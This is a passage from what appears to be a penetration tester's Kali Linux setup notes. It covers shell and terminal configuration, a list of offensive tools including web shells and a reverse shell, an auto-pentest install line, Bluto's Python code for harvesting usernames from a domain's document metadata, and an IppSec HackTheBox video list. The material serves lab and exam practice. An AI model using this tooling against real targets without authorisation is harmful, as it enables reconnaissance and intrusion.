-Po 'inet \K[\d.]+' | xclip" alias grep="grep --color=auto" alias egrep="egrep --color=auto" alias egrep="fgrep --color=auto" ``` # Terminator Configuration I've started to use Terminator instead of tmux - and I actually prefer it. ## Setup ### In Preferences: ``` Infinite scrollback is selected Profiles>colors>Change palette to "White on Black" Profiles>Background>Solid Color ``` ### Google Search Plugin ``` https://github.com/msudgh/terminator-search ``` ## Shortcuts ``` Ctrl + Shift + O = Virtual Split Ctrl + Shift + E = Horizontal Split Ctrl + Shift + Z = Maximizes a current tabbed window to full screen and then restores to tabbed by pressing again Ctrl + Shift + T = Opens a new tab Ctrl + Shift + C = Copy to clipboard Ctrl + Shift + V = Paste ``` double click on tab name to rename ## zsh configuration ![nice looking terminal with syntax highlighting](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LU07vKlFGdiqN8lW9zh%2F-LU08haUWnT4npm4av4j%2FScreenshot%20from%202018-12-18%2011-48-53.png?alt=media\&token=33adc7bc-185f-4801-b6c9-648daf441b9b) ``` nano ~/.zshrc ``` ``` # If you come from bash you might have to change your $PATH. # export PATH=$HOME/bin:/usr/local/bin:$PATH # Path to your oh-my-zsh installation. export ZSH="/root/.oh-my-zsh" # Set name of the theme to load --- if set to "random", it will # load a random theme each time oh-my-zsh is loaded, in which case, # to know which specific one was loaded, run: echo $RANDOM_THEME # See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes ZSH_THEME="agnoster" # Set list of themes to pick from when loading at random # Setting this variable when ZSH_THEME=random will cause zsh to load # a theme from this variable instead of looking in ~/.oh-my-zsh/themes/ # If set to an empty array, this variable will have no effect. # ZSH_THEME_RANDOM_CANDIDATES=( "robbyrussell" "agnoster" ) # Uncomment the following line to use case-sensitive completion. # CASE_SENSITIVE="true" # Uncomment the following line to use hyphen-insensitive completion. # Case-sensitive completion must be off. _ and - will be interchangeable. # HYPHEN_INSENSITIVE="true" # Uncomment the following line to disable bi-weekly auto-update checks. # DISABLE_AUTO_UPDATE="true" # Uncomment the following line to change how often to auto-update (in days). # export UPDATE_ZSH_DAYS=13 # Uncomment the following line to disable colors in ls. # DISABLE_LS_COLORS="true" # Uncomment the following line to disable auto-setting terminal title. # DISABLE_AUTO_TITLE="true" # Uncomment the following line to enable command auto-correction. ENABLE_CORRECTION="true" # Uncomment the following line to display red dots whilst waiting for completion. COMPLETION_WAITING_DOTS="true" # Uncomment the following line if you want to disable marking untracked files # under VCS as dirty. This makes repository status check for large repositories # much, much faster. # DISABLE_UNTRACKED_FILES_DIRTY="true" # Uncomment the following line if you want to change the command execution time # stamp shown in the history command output. # You can set one of the optional three formats: # "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd" # or set a custom format using the strftime function format specifications, # see 'man strftime' for details. # HIST_STAMPS="mm/dd/yyyy" # Would you like to use another custom folder than $ZSH/custom? #ZSH_CUSTOM=~/.oh-my-zsh/custom/plugins # Which plugins would you like to load? # Standard plugins can be found in ~/.oh-my-zsh/plugins/* # Custom plugins may be added to ~/.oh-my-zsh/custom/plugins/ # Example format: plugins=(rails git textmate ruby lighthouse) # Add wisely, as too many plugins slow down shell startup. plugins=( git colored-man-pages zsh-syntax-highlighting zsh-autosuggestions ) source $ZSH/oh-my-zsh.sh # User configuration # export MANPATH="/usr/local/man:$MANPATH" # You may need to manually set your language environment # export LANG=en_US.UTF-8 # Preferred editor for local and remote sessions # if [[ -n $SSH_CONNECTION ]]; then # export EDITOR='nano' # else # export EDITOR='nano' # fi # Compilation flags # export ARCHFLAGS="-arch x86_64" # ssh # export SSH_KEY_PATH="~/.ssh/rsa_id" # Set personal aliases, overriding those provided by oh-my-zsh libs, # plugins, and themes. Aliases can be placed here, though oh-my-zsh # users are encouraged to define aliases within the ZSH_CUSTOM folder. # For a full list of active aliases, run `alias`. # # Example aliases alias zshconfig="mate ~/.zshrc" # alias ohmyzsh="mate ~/.oh-my-zsh" alias ss="searchsploit" alias l='ls -la' alias webup='python -m SimpleHTTPServer 80' alias rtfm="/opt/rtfm/rtfm.py" alias xclip="xclip -sel c" alias ltr="ls -ltr" alias cdb="echo /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | xclip" alias clearwhite="sed 's/^[ \t]*//' -i" ``` follow guide: ``` https://hackernoon.com/oh-my-zsh-made-for-cli-lovers-bea538d42ec1 ``` syntax highlighting ``` https://github.com/zsh-users/zsh-syntax-highlighting ``` # Tmux Configuration {% hint style="info" %} I've started to use Terminator instead of Tmux {% endhint %} {% content-ref url="/pages/-LTwbZoT7qnzQUBkA\_zu" %} [Terminator Configuration](/kali-configuration/terminator-shortcuts) {% endcontent-ref %} Anyway - here is the tmux config which worked for me. ``` nano /root/.tmux.conf ``` ``` # 0 is too far from ` ;) set -g base-index 1 # Automatically set window title set-window-option -g automatic-rename on set-option -g set-titles on #set -g default-terminal screen-256color set -g status-keys vi set -g history-limit 10000 setw -g mode-keys vi setw -g mode-mouse on setw -g monitor-activity on bind-key v split-window -h bind-key s split-window -v bind-key J resize-pane -D 5 bind-key K resize-pane -U 5 bind-key H resize-pane -L 5 bind-key L resize-pane -R 5 bind-key M-j resize-pane -D bind-key M-k resize-pane -U bind-key M-h resize-pane -L bind-key M-l resize-pane -R # Vim style pane selection bind h select-pane -L bind j select-pane -D bind k select-pane -U bind l select-pane -R # Use Alt-vim keys without prefix key to switch panes bind -n M-h select-pane -L bind -n M-j select-pane -D bind -n M-k select-pane -U bind -n M-l select-pane -R # Use Alt-arrow keys without prefix key to switch panes bind -n M-Left select-pane -L bind -n M-Right select-pane -R bind -n M-Up select-pane -U bind -n M-Down select-pane -D # Shift arrow to switch windows bind -n S-Left previous-window bind -n S-Right next-window # No delay for escape key press set -sg escape-time 0 # Reload tmux config bind r source-file ~/.tmux.conf # THEME set -g status-bg black set -g status-fg white set -g window-status-current-bg white set -g window-status-current-fg black set -g window-status-current-attr bold set -g status-interval 60 set -g status-left-length 30 set -g status-left '#[fg=green](#S) #(whoami)' set -g status-right '#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[default] #[fg=white]%H:%M#[default]' ``` # Fish Config Abbreviations ``` autorecon 'python3 /opt/autorecon/autorecon.py' Delete cdb 'echo /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | xclip' Delete du1 'du -k --max-depth=1 | sort -n' Delete ltr 'ls -ltr' Delete rtfm /opt/rtfm/rtfm.py Delete ss searchsploit Delete webup 'python -m SimpleHTTPServer 80' Delete xclip 'xclip -sel c' Delete busyport lsof -t -i: ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LsDxdMZBv4UIT0NiW32%2F-LsDxfEkkY0f9DfzgTnl%2Fimage.png?alt=media\&token=b15a56b2-105f-4345-97df-b093146cbeb2) # Useful things to Install ## Hotwax ``` https://github.com/BrashEndeavours/hotwax ``` Hotwax is a script to provision a set of extra pentesting tools onto a Kali Linux machine in a consistent manner. Tools updated: ``` Samba 4.10.8 (smbclient,rpcclient,nmblookup - Patched to fix issues with polenum, enum4linux, and restoring smbclient connection output. enum4linux - Fix minor parsing issues. Updates temporarily included by BrashEndeavours fork, until PR is merged. ``` Tools installed: ``` AutoRecon - AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. chisel - A fast TCP tunnel over HTTP gobuster - Directory/File, DNS and VHost busting tool written in Go LinEnum - Local Linux Enumeration & Privilege Escalation Script nishang - Framework and collection of scripts and payloads which enables usage of PowerShell for penetration testing. One-Lin3r - On demand one-liners that aid in penetration testing operations, privilege escalation and more PowerSploit - Collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. proxychains-ng - proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project. pspy - Monitor linux processes without root permissions. SecLists - Collection of usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and more. sherlock - Find usernames across social networks. sshuttle - Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling. webshell - This is a webshell open source project. Windows PHP Reverse Shell - Simple php reverse shell implemented using binary, based on an webshell. OSCP Exam Report Template - Modified template for the OSCP Exam ``` Check out One-Lin3r it's particularly useful To enable access to script from any directory, example below ``` ln -n ~/go/bin/hakrawler /usr/local/bin/ ``` ## Enum4LinuxPy ``` https://github.com/0v3rride/Enum4LinuxPy ``` The original Perl version has a number of outstanding issues that have been open for over a year and have not been addressed. This results in mangled output, errors, etc. ## grc - frontend for generic colouriser grcat ``` apt install grc ``` ``` alias nmap='grc nmap' ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MBzSq8cWcOtrJgHysSb%2F-MBzTW2YVYdat5NeYUZC%2Fimage.png?alt=media\&token=10e7ebd2-75b8-45c0-82b2-3d2dfc6a24d5) # VSCode Configuration ### Colour code standard text files: `Ctrl P` then run ``` ext install xshrim.txt-syntax ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MQvV57U0yRv19DprpB5%2F-MR0en5xmkrgo7gHajny%2Fimage.png?alt=media\&token=6f29a875-620d-4c53-856a-4279a1950dae) When opening python exploits sometimes they are not formatted correctly. Hold `Ctrl Shift and i` to correct the formatting - it will likely as you to install something - install it. ### Install Cheat.sh into vscode ``` https://marketplace.visualstudio.com/items?itemName=vscode-snippet.Snippet https://github.com/chubin/cheat.sh ``` Then highlight a sentence, do `Ctrl Shift S` to search for cheatsheets ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MR0m3PWtfmHETcINkYk%2F-MR0mWQnxPdO5eYm07sI%2Fimage.png?alt=media\&token=bd9b3222-d114-450b-b8fa-3601f7b6b77c) # Tools These tools are not a replacement for manually scanning and investigating systems. ## Yuki Chan – Automated Penetration Testing and Auditing Tool ![Yuki](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT7qngzWuDlwvkf7yYy%2F-LT7r8bAE7x4kEE1ZayJ%2Fmaxresdefault-1-1.jpg?alt=media\&token=cb884c5f-f8bd-49eb-965e-5b06e4d132a1) ### **It uses the following programs against your chosen target** ``` Whois domain analyzer Nslookup Nmap TheHarvester Metagoofil DNSRecon Sublist3r Wafw00f WAFNinja XSS Scanner WhatWeb Spaghetti WPscan WPscanner WPSeku Droopescan ( CMS Vulnerability Scanner WordPress, Joomla, Silverstripe, Drupal, And Moodle) SSLScan SSLyze A2SV Dirsearch ``` ## Install and Run ``` git clone https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest.git; cd Yuki-Chan-The-Auto-Pentest; chmod 777 wafninja joomscan install-perl-module.sh yuki.sh ; chmod 777 Module/WhatWeb/whatweb; pip install -r requirements.txt; ./install-perl-module.sh; ./yuki.sh ``` ## Bluto {% embed url="" %} {% hint style="info" %} if you get an error when running it relating to the file below - replace it with the config below {% endhint %} #### error ``` /usr/local/lib/python2.7/dist-packages/Bluto/modules/data_mine.py ``` #### config ``` import pdfminer import requests import urllib2 import olefile import os import traceback import time import re import random import math import sys import Queue import time import threading import cgi from termcolor import colored from pdfminer.pdfparser import PDFParser from pdfminer.pdfdocument import PDFDocument from bs4 import BeautifulSoup from bluto_logging import info, INFO_LOG_FILE from get_file import get_user_agents from search import doc_bing, doc_exalead from general import get_size def action_download(doc_list, docs): info('Document Download Started') i = 0 download_list = [] initial_count = 0 print 'Gathering Live Documents For Metadata Mining\n' headers = { 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729', 'Referer': 'https://www.google.co.uk/', 'Accept-Language': 'en-US,en;q=0.5', 'Cache-Control': 'no-cache' } for doc in doc_list: doc = doc.replace(' ', '%20') try: r = requests.get(doc.encode('utf-8'), headers=headers, verify=False) if r.status_code == 404: r.raise_for_status() if r.status_code == 200: params = cgi.parse_header(r.headers.get('Content-Disposition', ''))[-1] if 'filename' not in params: filename = str(doc).replace('%20', ' ').split('/')[-1] with open(docs + filename, "w") as code: i += 1 code.write(r.content) code.close() initial_count += 1 print('\tDownload Count: {}\r'.format(str(initial_count))), info(str(doc).replace('%20', ' ')) download_list.append(str(doc).replace('%20', ' ')) continue else: filename_t = re.search('filename="(.*)"', r.headers['content-disposition']) filename = filename_t.group(1) with open(docs + filename, "w") as code: i += 1 code.write(r.content) code.close() initial_count += 1 print('\tDownload Count: {}\r'.format(str(initial_count))), download_list.append(str(doc).replace('%20', ' ')) info(str(doc).replace('%20', ' ')) continue except ValueError: info('No Filename in header') pass except AttributeError: pass except IOError: info('Not Found: {}'.format(str(doc).replace('%20', ' '))) pass except requests.exceptions.HTTPError: info('Error: File Not Found Server Side: HTTPError') pass except requests.exceptions.ConnectionError: info('Error: File Not Found Server Side: ConnectionError') pass except KeyError: pass except UnboundLocalError: pass except Exception: info('An Unhandled Exception Has Occured, Please Check The Log For Details\n' + INFO_LOG_FILE) info(str(doc).replace('%20', ' ')) pass if i < 1: return download_list data_size = get_size(docs) print '\tData Downloaded: {}MB'.format(str(math.floor(data_size))) info('Documents Downloaded: {}'.format(initial_count)) return download_list def doc_search(domain, USERAGENT_F, prox): q1 = Queue.Queue() q2 = Queue.Queue() t1 = threading.Thread(target=doc_bing, args=(domain, USERAGENT_F, prox, q1)) t2 = threading.Thread(target=doc_exalead, args=(domain, USERAGENT_F, prox, q2)) t1.start() t2.start() t1.join() t2.join() bing = q1.get() exalead = q2.get() list_d = bing + exalead return list_d #Extract Author PDF def pdf_read(pdf_file_list): info('Extracting PDF MetaData') software_list = [] user_names = [] for filename in pdf_file_list: info(filename) try: fp = open(filename, 'rb') parser = PDFParser(fp) doc = PDFDocument(parser) software = re.sub('[^0-9a-zA-Z]+', ' ', doc.info[0]['Creator']) person = re.sub('[^0-9a-zA-Z]+', ' ', doc.info[0]['Author']) if person: oddity = re.match('(\s\w\s+(\w\s+)+\w)', person) if oddity: oddity = str(oddity.group(1)).replace(' ', '') user_names.append(str(oddity).title()) else: user_names.append(str(person).title()) if software: oddity2 = re.match('(\s\w\s+(\w\s+)+\w)', software) if oddity2: oddity2 = str(oddity2.group(1)).replace(' ', '') software_list.append(oddity2) else: software_list.append(software) except IndexError: continue except pdfminer.pdfparser.PDFSyntaxError: continue except KeyError: continue except TypeError: continue except Exception: info('An Unhandled Exception Has Occured, Please Check The Log For Details' + INFO_LOG_FILE) continue info('Finished Extracting PDF MetaData') return (user_names, software_list) #Extract Author MS FILES def ms_doc(ms_file_list): software_list = [] user_names = [] info('Extracting MSDOCS MetaData') for filename in ms_file_list: try: data = olefile.OleFileIO(filename) meta = data.get_metadata() author = re.sub('[^0-9a-zA-Z]+', ' ', meta.author) company = re.sub('[^0-9a-zA-Z]+', ' ', meta.company) software = re.sub('[^0-9a-zA-Z]+', ' ', meta.creating_application) save_by = re.sub('[^0-9a-zA-Z]+', ' ', meta.last_saved_by) if author: oddity = re.match('(\s\w\s+(\w\s+)+\w)', author) if oddity: oddity = str(oddity.group(1)).replace(' ', '') user_names.append(str(oddity).title()) else: user_names.append(str(author).title()) if software: oddity2 = re.match('(\s\w\s+(\w\s+)+\w)', software) if oddity2: oddity2 = str(oddity2.group(1)).replace(' ', '') software_list.append(oddity2) else: software_list.append(software) if save_by: oddity3 = re.match('(\s\w\s+(\w\s+)+\w)', save_by) if oddity3: oddity3 = str(oddity3.group(1)).replace(' ', '') user_names.append(str(oddity3).title()) else: user_names.append(str(save_by).title()) except Exception: pass info('Finished Extracting MSDOC MetaData') return (user_names, software_list) #Modules takes in DOMAIN, PROX, USERAGENTS outputs user_names, software_list def doc_start(domain, USERAGENT_F, prox, q): ms_list_ext = ('.docx', '.pptx', '.xlsx', '.doc', '.xls', '.ppt') ms_file_list = [] pdf_file_list = [] info('Let The Hunt Begin') domain_r = domain.split('.') if not os.path.exists(os.path.expanduser('~/Bluto/doc/{}'.format(domain_r[0]))): os.makedirs(os.path.expanduser('~/Bluto/doc/{}'.format(domain_r[0]))) location = os.path.expanduser('~/Bluto/doc/{}/'.format(domain_r[0])) info('Data Folder Created ' + location) docs = os.path.expanduser(location) doc_list = doc_search(domain, USERAGENT_F, prox) if doc_list == []: q.put(None) return doc_list = set(sorted(doc_list)) download_list = action_download(doc_list, docs) download_count = len(download_list) for root, dirs, files in os.walk(docs): for filename in files: if str(filename).endswith(ms_list_ext): ms_file_list.append(os.path.join(root, filename)) if str(filename).endswith('.pdf'): pdf_file_list.append(os.path.join(root, filename)) if ms_file_list and pdf_file_list: user_names_ms, software_list_ms = ms_doc(ms_file_list) user_names_pdf, software_list_pdf = pdf_read(pdf_file_list) user_names_t = user_names_ms + user_names_pdf software_list_t = software_list_ms + software_list_pdf elif ms_file_list: user_names_ms, software_list_ms = ms_doc(ms_file_list) user_names_t = user_names_ms software_list_t = software_list_ms elif pdf_file_list: user_names_pdf, software_list_pdf = pdf_read(pdf_file_list) user_names_t = user_names_pdf software_list_t = software_list_pdf else: user_names_t = [] software_list_t = [] if user_names_t and software_list_t: user_names = sorted(set(user_names_t)) software_list = sorted(set(software_list_t)) info('The Hunt Ended') q.put((user_names, software_list, download_count, download_list)) elif software_list_t: software_list = sorted(set(software_list_t)) user_names = [] info('The Hunt Ended') q.put((user_names, software_list, download_count, download_list)) elif user_names_t: user_names = sorted(set(user_names_t)) software_list = [] info('The Hunt Ended') q.put((user_names, software_list, download_count, download_list)) elif (user_names_t and software_list) is None: q.put(None) ``` ## **The Offensive Web Application Penetration Testing Framework.** ``` https://github.com/0xInfection/TIDoS-Framework ``` ``` https://github.com/carlospolop/legion ``` # My Youtube Channel Check out my struggle to root ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MQRtL1k4eSOcrUVi17n%2F-MQRv6pxwkQdmxZC1bSH%2Fimage.png?alt=media\&token=694563ce-49f8-4d98-a5c3-b6212fbf1cc0) # IppSec Videos updated 20/06/19 ## Search IppSec's Videos ``` https://ippsec.rocks/ ``` ## [CTF - Windows](https://www.youtube.com//channel/UCa6eh7gCkpPo5XXUDfygQQA/playlists?view=50\&sort=dd\&shelf_id=6) ### [CTF - Windows -Easy](https://www.youtube.com//playlist?list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn) 1. [HackTheBox - Access](https://youtu.be/Rr6Oxrj2IjU) (1:04:01) 2. [HackTheBox - Active](https://www.youtube.com//watch?v=jUc1J31DNdw\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=3\&t=0s) (30:42) 3. [HackTheBox - Jerry](https://www.youtube.com//watch?v=PJeBIey8gc4\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=4\&t=0s) (51:58) 4. [HackTheBox - Bounty](https://www.youtube.com//watch?v=7ur4om1K98Y\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=5\&t=0s) (1:02:17) 5. [HackTheBox - Blue](https://youtu.be/YRsfX6DW10E) (27:19) 6. [HackTheBox - Optimum](https://youtu.be/kWTnVBIpNsE) (30:24) 7. [HackTheBox - Pivoting Update: Granny and Grandpa](https://youtu.be/HQkDL-xh7es) (22:51) 8. [HackTheBox - Granny and Grandpa](https://www.youtube.com//watch?v=ZfPVGJGkORQ\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=9\&t=0s) (54:54) 9. [HackTheBox - Granny and Grandpa](https://www.youtube.com//watch?v=ZfPVGJGkORQ\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=10\&t=0s) (54:54) 10. [HackTheBox - Devel](https://youtu.be/2LNyAbroZUk) (15:25) 11. [HackTheBox - Arctic](https://www.youtube.com//watch?v=e9lVyFH7-4o\&list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn\&index=12\&t=0s) (17:24) ### [CTF -Windows - Medium](https://www.youtube.com//playlist?list=PLidcsTyj9JXI9E9dT1jgXxvTOi7Pq_2c5) 1. [HackTheBox - Giddy](https://www.youtube.com//watch?v=J2unwbMQvUo\&list=PLidcsTyj9JXI9E9dT1jgXxvTOi7Pq_2c5\&index=2\&t=0s) (1:01:33) 2. [HackTheBox - SecNotes](https://www.youtube.com//watch?v=PJXb2pK8K84\&list=PLidcsTyj9JXI9E9dT1jgXxvTOi7Pq_2c5\&index=3\&t=0s) (33:03) 3. [HackTheBox - Silo](https://www.youtube.com//watch?v=2c7SzNo9uoA\&list=PLidcsTyj9JXI9E9dT1jgXxvTOi7Pq_2c5\&index=4\&t=0s) (56:00) 4. [HackTheBox - Bart](https://youtu.be/Cz6vQvGGiuc) (1:41:28) 5. [HackTheBox - Chatterbox](https://youtu.be/_dRrvJNdP-s) (1:00:27) 6. [HackTheBox - Jeeves](https://youtu.be/EKGBskG8APc) (1:01:04) 7. [HackTheBox - Bastard](https://youtu.be/lP-E5vmZNC0) (39:34) ### [CTF - Windows - Hard](https://www.youtube.com//playlist?list=PLidcsTyj9JXK2sdXaK5He4-Z8G0Ra-4u2) 1. [HackTheBox - Conceal](https://youtu.be/1ae64CdwLHE) (1:27:36) 2. [HackTheBox - Reel](https://www.youtube.com//watch?v=ob9SgtFm6_g\&list=PLidcsTyj9JXK2sdXaK5He4-Z8G0Ra-4u2\&index=3\&t=0s) (1:37:27) 3. [HackTheBox - DropZone](https://www.youtube.com//watch?v=QzP5nUEhZeg\&list=PLidcsTyj9JXK2sdXaK5He4-Z8G0Ra-4u2\&index=4\&t=0s) (55:54) 4. [HackTheBox - Tally](https://youtu.be/l-wzBhc9wFc) (1:50:08) 5. [HackTheBox - Mantis](https://www.youtube.com//watch?v=VVZZgqIyD0Q\&list=PLidcsTyj9JXK2sdXaK5He4-Z8G0Ra-4u2\&index=6\&t=0s) (1:13:16) ### [CTF - Windows - Insane](https://www.youtube.com//playlist?list=PLidcsTyj9JXJSn8KxSr_-9eKEwxJJtf_x) 1. [HackTheBox - Sizzle](https://youtu.be/YVhlfUvsqYc) (1:27:59) 2. [HackTheBox - Ethereal](https://www.youtube.com//watch?v=Bhh5yPHjwUY\&list=PLidcsTyj9JXJSn8KxSr_-9eKEwxJJtf_x\&index=3\&t=0s) (2:00:13) 3. [HackTheBox - Fighter](https://youtu.be/CW4mI5BkP9E) (2:33:24) 4. [HackTheBox - Rabbit](https://www.youtube.com//watch?v=5nnJq_IWJog\&list=PLidcsTyj9JXJSn8KxSr_-9eKEwxJJtf_x\&index=5\&t=0s) (1:28:56) 5. [HackTheBox - Minion](https://youtu.be/IbVmpr6IFQU) (1:34:37) ## [CTF - \*Nix](https://www.youtube.com//channel/UCa6eh7gCkpPo5XXUDfygQQA/playlists?view=50\&sort=dd\&shelf_id=7) ### [CTF - Nix - Easy](https://www.youtube.com//playlist?list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF) 1. [HackTheBox - Help](https://youtu.be/XB8CbhfOczU) (51:40) 2. [HackTheBox - Irked](https://www.youtube.com//watch?v=OGFTM_qvtVI\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=3\&t=0s) (32:46) 3. [HackTheBox - Teacher](https://www.youtube.com//watch?v=u2-te8n2WbY\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=4\&t=0s) (41:29) 4. [HackTheBox - Curling](https://youtu.be/Paajc2Dupms) (37:19) 5. [HackTheBox - Frolic](https://www.youtube.com//watch?v=b6WGQSJu_zQ\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=6\&t=0s) (1:04:28) 6. [HackTheBox - Sunday](https://youtu.be/xUrq29OTSuM) (37:51) 7. [HackTheBox - Valentine](https://www.youtube.com//watch?v=XYXNvemgJUo\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=8\&t=0s) (28:43) 8. [HackTheBox - Nibbles](https://youtu.be/s_0GcRGv6Ds) (35:35) 9. [HackTheBox - Bashed](https://youtu.be/2DqdPcbYcy8) (20:36) 10. [HackTheBox - Sense](https://youtu.be/d2nVDoVr0jE) (1:09:29) 11. [HackTheBox - Shocker](https://www.youtube.com//watch?v=IBlTdguhgfY\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=12\&t=0s) (27:03) 12. [HackTheBox - Mirai](https://www.youtube.com//watch?v=SRmvRGUuuno\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=13\&t=0s) (16:02) 13. [HackTheBox - Blocky](https://www.youtube.com//watch?v=C2O-rilXA6I\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=14\&t=0s) (36:19) 14. [HackTheBox - Bank](https://youtu.be/JRPWFSzFaG0) (33:08) 15. [HackTheBox - Beep](https://youtu.be/XJmBpOd__N8) (59:17) 16. [YouTube](https://www.youtube.com//watch?v=zy1FCOZMrZ8\&list=PLidcsTyj9JXJfpkDrttTdk1MNT6CDwVZF\&index=17) ### [CTF - Nix - Medium](https://www.youtube.com//playlist?list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr) 1. [HackTheBox - LightWeight](https://youtu.be/yQgtDoCDAYk) (41:14) 2. [HackTheBox - Redcross](https://youtu.be/-GNyDEQ9UDU) (1:37:21) 3. [HackTheBox - Vault](https://youtu.be/LfbwlPxToBc) (1:00:01) 4. [HackTheBox - Carrier](https://www.youtube.com//watch?v=2ZxRA8BgmnA\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=5\&t=0s) (1:23:56) 5. [HackTheBox - Waldo](https://www.youtube.com//watch?v=1klneIHECqY\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=6\&t=0s) (45:04) 6. [HackTheBox - Hawk](https://www.youtube.com//watch?v=UGd9JE1ZXUI\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=7\&t=0s) (1:05:10) 7. [HackTheBox - Tartarsauce](https://www.youtube.com//watch?v=9MeBiP637ZA\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=8\&t=0s) (50:01) 8. [HackTheBox - DevOops](https://www.youtube.com//watch?v=tQ34Ntkr7H4\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=9\&t=0s) (52:47) 9. [HackTheBox - Olympus](https://youtu.be/7ifJOon5-G8) (43:20) 10. [HackTheBox - Canape](https://youtu.be/rs75y2qPonc) (1:07:25) 11. [HackTheBox - Poison](https://youtu.be/rs4zEwONzzk) (49:58) 12. [HackTheBox - Stratosphere](https://www.youtube.com//watch?v=uMwcJQcUnmY\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=13\&t=0s) (42:18) 13. [HackTheBox - Celestial](https://youtu.be/aS6z4NgRysU) (30:07) 14. [HackTheBox - Aragog](https://www.youtube.com//watch?v=NFdi-2tgvxY\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=15\&t=0s) (43:20) 15. [HackTheBox - Flux Capacitor](https://www.youtube.com//watch?v=XLIBbkQJKuY\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=16\&t=0s) (1:01:23) 16. [HackTheBox - Inception](https://youtu.be/J2I-5xPgyXk) (1:14:29) 17. [HackTheBox - Enterprise](https://youtu.be/NWVJ2b0D1r8) (2:07:33) 18. [HackTheBox - Node](https://www.youtube.com//watch?v=sW10TlZF62w\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=19\&t=0s) (1:18:17) 19. [HackTheBox - SolidState](https://youtu.be/_QapCUx55Xk) (32:57) 20. [HackTheBox - Nineveh](https://www.youtube.com//watch?v=K9DKULxSBK4\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=21\&t=0s) (52:03) 21. [HackTheBox - Europa](https://www.youtube.com//watch?v=OsxDB41jg6A\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=22\&t=0s) (31:58) 22. [HackTheBox - Apocalyst](https://www.youtube.com//watch?v=TJVghYBByIA\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=23\&t=0s) (29:11) 23. [HackTheBox - Sneaky](https://www.youtube.com//watch?v=1UGxjqTnuyo\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=24\&t=0s) (1:02:09) 24. [HackTheBox - Lazy](https://www.youtube.com//watch?v=3VxZNflJqsw\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=25\&t=0s) (26:45) 25. [HackTheBox - Haircut](https://www.youtube.com//watch?v=9ZXG1qb8lUI\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=26\&t=0s) (35:18) 26. [HackTheBox - CronOS](https://www.youtube.com//watch?v=CYeVUmOar3I\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=27\&t=0s) (28:51) 27. [HackTheBox - Tenten](https://youtu.be/A4U3xiRWfsU) (14:50) 28. [HackTheBox - October](https://www.youtube.com//watch?v=K05mJazHhF4\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=29\&t=0s) (44:26) 29. [HackTheBox - 